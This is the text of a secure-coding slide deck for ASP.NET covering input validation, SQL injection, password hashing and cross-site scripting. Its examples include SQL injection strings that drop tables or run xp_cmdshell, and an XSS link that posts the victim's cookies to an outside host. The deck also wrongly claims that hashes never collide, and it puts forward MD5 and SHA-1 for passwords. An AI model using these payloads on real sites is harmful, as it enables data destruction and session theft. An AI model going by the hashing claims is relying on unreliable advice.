Survey
* Your assessment is very important for improving the workof artificial intelligence, which forms the content of this project
* Your assessment is very important for improving the workof artificial intelligence, which forms the content of this project
Writing Secure Code for ASP .NET Stephen Forte CTO, Corzen Inc Microsoft Regional Director NY/NJ (USA) Sofia, Bulgaria | 9-10 October Speaker.Bio.ToString() ● CTO and co-Founder of Corzen, Inc ● Microsoft MVP and INETA Speaker ● International Conference Speaker for 9+ Years ● Wrote a few books on databases and development ● Co-moderator & founder of NYC .NET Developers Group ● http://www.nycdotnetdev.com ● Former CTO of Zagat Survey Sofia, Bulgaria | 9-10 October Agenda ● Why Care? ● Best Practices for Writing Secure Code ● Query String and Input Validation ● SQL Injection ● Storing Secret Data ● Exception Handling ● XSS and HTML Management Sofia, Bulgaria | 9-10 October What we won’t cover ● Administrative Security ● Authentication and Authorization from an Admin level ● Code Access Security from an Admin level ● Cryptology Sofia, Bulgaria | 9-10 October Agenda ● Why Care? ● Best Practices for Writing Secure Code ● Query String and Input Validation ● SQL Injection ● Storing Secret Data ● Exception Handling ● XSS and HTML Management Sofia, Bulgaria | 9-10 October Writing Secure Code ● Developers usually think that security is an administrative problem, not a coding problem ● While several security issues are administrative in nature, you can write secure code to protect your application ● Some simple changes to your coding style can result in massive security holes closed Sofia, Bulgaria | 9-10 October Agenda ● Why Care? ● Best Practices for Writing Secure Code ● Query String and Input Validation ● SQL Injection ● Storing Secret Data ● Exception Handling ● XSS and HTML Management Sofia, Bulgaria | 9-10 October Input and Query String Validation ● All user input is evil! ● Not properly validating user input can lead to: ● SQL Injection ● XSS (Cross Site Scripting) Sofia, Bulgaria | 9-10 October Do Not Trust User Input ● Validate all input ● Guilty until proven innocent: assume all input is bad until you prove otherwise ● Look for valid data and reject everything else ● Don’t assume that your client validations were applied, revalidate on the server (a hacker can bypass your client scripting) ● Avoid Query Strings altogether if possible Sofia, Bulgaria | 9-10 October Ways to Validate Input ● Client Side: ● Validation Controls ● Server Side: ● Regular Expressions (RegEx) are your friend ● Validate for TLRF: ● Type checks ● Length checks ● Range checks ● Format checks Validator.ValidationExpression = Sofia, Bulgaria | 9-10 October "\w+([-+.]\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)*"; Proper Validation Sofia, Bulgaria | 9-10 October Agenda ● Why Care? ● Best Practices for Writing Secure Code ● Query String and Input Validation ● SQL Injection ● Storing Secret Data ● Exception Handling ● XSS and HTML Management Sofia, Bulgaria | 9-10 October What is SQL Injection? ● What is SQL Injection? ● The process of adding SQL statements in user input ● Used by hackers to: ● Probe databases and call built-in stored procedures ● Bypass authorization (adding records into custom login tables) ● Execute multiple SQL statements to delete data or drop tables Sofia, Bulgaria | 9-10 October Examples of SQL Injection strSQL = "SELECT * FROM" + " Orders WHERE OrderID ='" + ID + "'"; ● If the ID variable is read directly from a Windows form textbox, the user could enter any of the following: ● 21001' or 1=1 -● 21001' DROP TABLE OrderDetail -● 21001' exec xp_cmdshell('fdisk.exe') -Sofia, Bulgaria | 9-10 October Preventing SQL Injection ● All User Input is Evil! ● Validate all input twice ● Client side validation controls ● Server Side manual validation for Type, Length, Format, and Range using RegEx ● Use Stored Procedures! ● Run with least privilege ● Never execute as “sa” ● Consider two databases with 2 logins ● Remove access to all tables and restrict access to built-in stored procedures (reduces Sofia, Bulgaria | 9-10 October attack surface) SQL Injection Sofia, Bulgaria | 9-10 October Agenda ● Why Care? ● Best Practices for Writing Secure Code ● Query String and Input Validation ● SQL Injection ● Storing Secret Data ● Exception Handling ● XSS and HTML Management Sofia, Bulgaria | 9-10 October Storing Secret Data ● Your application should not store secret data (passwords, etc) ● If you must store secret data, do not encrypt it in the database ● Hackers may guess or get the key ● Store a hashed representation of the data Sofia, Bulgaria | 9-10 October What is a Hash? ● A mathematical formula that converts a message of any length into a unique fixed-length string of digits (typically 160 bits) known as "message digest" that represents the original message. ● A hash is a one-way function - that is, it is infeasible to reverse the process to determine the original message. ● A hash function will not produce the same message digest from two different inputs. ● The MD5 and SHA-1 algorithms are two of the most popular algorithms although any cryptosystem can be used to create a hash function (as, indeed, any cryptographically secure hash can be used to create a cryptosystem). Sofia, Bulgaria | 9-10 October Storing a Password Hash ● Will only store the message digest (hash) of the password in the database not the actual password. ● When a user comes back to the site they will have to provide the password and you will then recompute the hash of that password and compare them. ● So you are only storing the verifier in the database, not the actual password. Sofia, Bulgaria | 9-10 October Random Salting a Hash ● Problem: If you know the password of a user, and some other user happens to have the same hash, then you know both have the same password ● A hacker can exploit this with a dictionary attack ● To “salt” a hash, generate a random string and prefix it to the clear password before hashing it. ● Save both the salt and the hashed password in the Users table. Sofia, Bulgaria | 9-10 October ● Drastically diminishes a dictionary attack Pros and Cons ● Pros: ● Easy to set up ● Protects against disgruntled corporate users ● If the database is cracked, the hacker will not have and passwords-the hash is useless (remember a Hash is 1 way) ● Cons: ● Cannot send a user their password if they forget, you will have to reset it for them Sofia, Bulgaria | 9-10 October Hashed Password Values Sofia, Bulgaria | 9-10 October Agenda ● Why Care? ● Best Practices for Writing Secure Code ● Query String and Input Validation ● SQL Injection ● Storing Secret Data ● Exception Handling ● XSS and HTML Management Sofia, Bulgaria | 9-10 October Exception Handling ● Never ever show the default ASP .NET debug page ● Never show trace information ● Never reveal any debug information to the user Sofia, Bulgaria | 9-10 October Audit Everything ● Make sure everything that happens on your site is reproducible ● Do not rely on IIS logs, audit your code ● Commercial products to do this Sofia, Bulgaria | 9-10 October Proper Exception Handling Sofia, Bulgaria | 9-10 October Agenda ● Why Care? ● Best Practices for Writing Secure Code ● Query String and Input Validation ● SQL Injection ● Storing Secret Data ● Exception Handling ● XSS and HTML Management Sofia, Bulgaria | 9-10 October What Is Cross-Site Scripting? ● A technique that allows hackers to: ● Execute malicious script in a client’s Web browser ● Insert <script>, <object>, <applet>, <form>, and <embed> tags ● Steal Web session information and authentication cookies ● Access the client computer Any Web page that renders HTML containing user input is vulnerable Sofia, Bulgaria | 9-10 October Two Common Exploits of CrossSite Scripting ● Attacking Web-based e-mail platforms and discussion boards ● Using HTML <form> tags to redirect private information Sofia, Bulgaria | 9-10 October Form-Based Attacks (1 of 2) Response.Write("Welcome" & Request.QueryString("UserName")) Sofia, Bulgaria | 9-10 October Form-Based Attacks (2 of 2) <a href=http://www.contoso.msft/welcome.asp?name= <FORM action=http://www. nwtraders.msft/data.asp method=post id=“idForm”> <INPUT name=“cookie” type=“hidden”> </FORM> <SCRIPT> idForm.cookie.value=document.cookie; idForm.submit(); </SCRIPT> > here </a> Sofia, Bulgaria | 9-10 October Defending Against Cross-Site Scripting Attacks ● Do not: ● Trust user input ● Echo Web-based user input unless you have validated it ● Store secret information in cookies ● Do: ● Use the HttpOnly cookie option ● Use the <frame> security attribute ● Take advantage of ASP.NET features Sofia, Bulgaria | 9-10 October Protection ● Use HTMLEncode and URLEncode ● Use RegEx to remove any script of HTML code from user input Sofia, Bulgaria | 9-10 October Defending Against Cross-Site Scripting Attacks ● Do not: ● Trust user input ● Echo Web-based user input unless you have validated it ● Store secret information in cookies ● Do: ● Use the HttpOnly cookie option ● Use the <frame> security attribute ● Take advantage of ASP.NET features Sofia, Bulgaria | 9-10 October Cross Site Scripting Sofia, Bulgaria | 9-10 October Questions? Sofia, Bulgaria | 9-10 October Thanks! ● Please fill out your evaluation form! ● [email protected] ● Please put (Secure ASP .NET in the subject) Sofia, Bulgaria | 9-10 October